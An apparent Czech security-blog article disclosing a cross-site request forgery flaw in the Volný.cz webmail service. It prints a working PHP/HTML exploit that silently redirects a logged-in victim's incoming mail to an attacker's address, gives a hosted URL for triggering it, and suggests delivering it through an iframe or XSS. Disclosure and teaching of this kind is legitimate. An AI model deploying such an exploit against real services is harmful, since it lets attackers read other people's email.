Zpět na seznam článků     Číst komentáře (1)     Verze pro tisk

Freemail Volný.cz opět nezklamal

Autor: Jakub Tětek   
2.7.2013

Zdá se, že Volný.cz si nedá říct a jeho freemail bude stále ohrožovat soukromí uživatelů. Chcete si přesměrovat kopie příchozí pošty ostatních uživatelů na svůj účet nebo odesílat mailové zprávy z cizích účtů? Na Volný.cz to není díky Cross-Site Request Forgery žádný problém.


O freemailu Volný.cz se na serveru SOOM.cz již v minulosti ne zrovna lichotivě psalo. Odkazovaný článek upozorňoval například na XSS zranitelnosti, nebo Session Fixation.

Když jsem tedy přemýšlel nad nějakým větším českým portálem, jehož zabezpečení bych prověřil, byla volba celkem jasná: Volný.cz. Článek je cílen především na začátečníky v oblasti etického hackingu, a proto se rozepisuji do takových detailů.

Po prvním oťukávání vstupů jsem ověřil, že všechny nebezpečné metaznaky jsou překládány na jejich HTML entity a XSS se tudíž konat nebude.

Následně se pokouším zjistit, zda není stránka náchylná na CSRF. Přihlásil jsem se tedy do svého účtu a zobrazil HTML kód stránky určené pro nastavení přeposílání příchozí pošty. Formulář jsem přesně tak, jak je, zkopíroval k sobě na webhosting. Když jsem tento formulář otevřel, vložil adresu, na kterou si přeji e-maily přeposílat a potvrdil tlačítkem „Nastavit“, tak se k mému překvapení otevřela stránka s úspěšně provedenou změnou v nastavení.

Nyní tedy víme, kde se samotná zranitelnost nachází. Zbývá tedy už jen napsat jednoduchý skript, který automaticky odešle metodou POST požadavek na přenastavení adresy pro přeposílání emailů. Rozhodl jsem se napsat skript, který na mé doméně přijme pomocí metody GET data a ta následně přepošle metodou POST stránce, která je zodpovědná za změnu nastavení přesměrování v doméně volny.cz (http://mail.volny.cz/app/forward.php).

Skript pro změnu nastavení není nic složitého. Neuběhlo proto ani pět minut a už jsem jej nahrával na server. Když jsem se ale pokusil využít automatického odeslání formuláře, tak ke změně v nastavení nedošlo. Když jsem ale formulář odeslal manuálně, pak vše proběhlo tak, jak mělo. Po chvíli přemýšlení mi došlo, v čem je problém. Tlačítko nebylo klasický input typu submit, ale image. To znamená, že se spolu s daty odesílají i souřadnice, kde uživatel na tlačítko kliknul. Otevřel jsem tedy Firefox a spustil doplněk Tamper data (lokální proxy). Pomocí něj jsem zjistil, že kromě parametrů „copy“ a „aliases“ se odesílají také hodnoty action_save.x a y. Pak už nebylo problém do skriptu tyto dvě hodnoty doplnit.

Volny.cz CSRF exploit
  1. <body>
  2.   <?php
  3.          $keep=$_GET["keep"];
  4.          $email=$_GET["email"];
  5.  ?>
  6.   <form name="forward" action="http://mail.volny.cz/app/forward.php" method="post">
  7.     <input name="copy" <?php if($keep==1){echo "value=1";}?>>
  8.     <textarea name="aliases" cols="40" rows="2" wrap="virtual"><?php echo htmlspecialchars($email); ?>
  9.     </textarea>
  10.     <input type="image" name="action_save" border=0 alt="Nastavit"
  11.           src="http://gfx.volny.cz/mail/gfx/2010/button_nastavit.png">
  12.     <input name="action_save.x">
  13.     <input name="action_save.y">
  14.     <script>document.forward.submit();</script>
  15.   </form>
  16. </body>

Pokud chcete skript vyzkoušet, stačí do prohlížeče zadat adresu http://hacking.tuxpages.cz/?keep=a&email=b. Přičemž „a“ nahradíte jedničkou (1), pokud chcete emaily na účtu oběti po přeposlání zanechat, nulou (0), pokud ne. „b“ nahraďte vaším e-mailem. Výsledná adresa může vypadat třeba takto: http://hacking.tuxpages.cz/?keep=1&email=utocnik@server.tld. Takovouto adresu je pak možné vložit do iframe, který je následně možné například pomocí XSS vložit do nějaké stránky.

Není překvapením, že nastavení není jediná část webu, která je na Cross-Site Request Forgery náchylná. Na CSRF je totiž náchylný celý web. Díky tomu je možné například odesílat zprávy z e-mailu oběti nebo třeba cizí zprávy mazat znáte-li jejich ID.

Co se týká dalších zranitelností, je web zranitelný také na clickjacking (o kterém zde na SOOMu vyšla série článků).

Obě zranitelnosti jsem nahlásil, ale zatím mi přišla jen odpověď, že byl můj e-mail přeposlán technickému oddělení.



Text, včetně obsaženého skriptu, byl sepsán výhradně za účelem upozornění na nedostatečné zabezpečení uživatelských dat ve freemailu Volný.cz. Autor se zříká jakékoliv zodpovědnosti za škody způsobené zneužitím postupů uvedených v tomto článku.


Líbil se Vám článek?
Budeme potěšeni, pokud vás zaujme také reklamní nabídka

Social Bookmarking

     





Hodnocení/Hlasovalo: 1.13/30

1  2  3  4  5    
(známkování jako ve škole)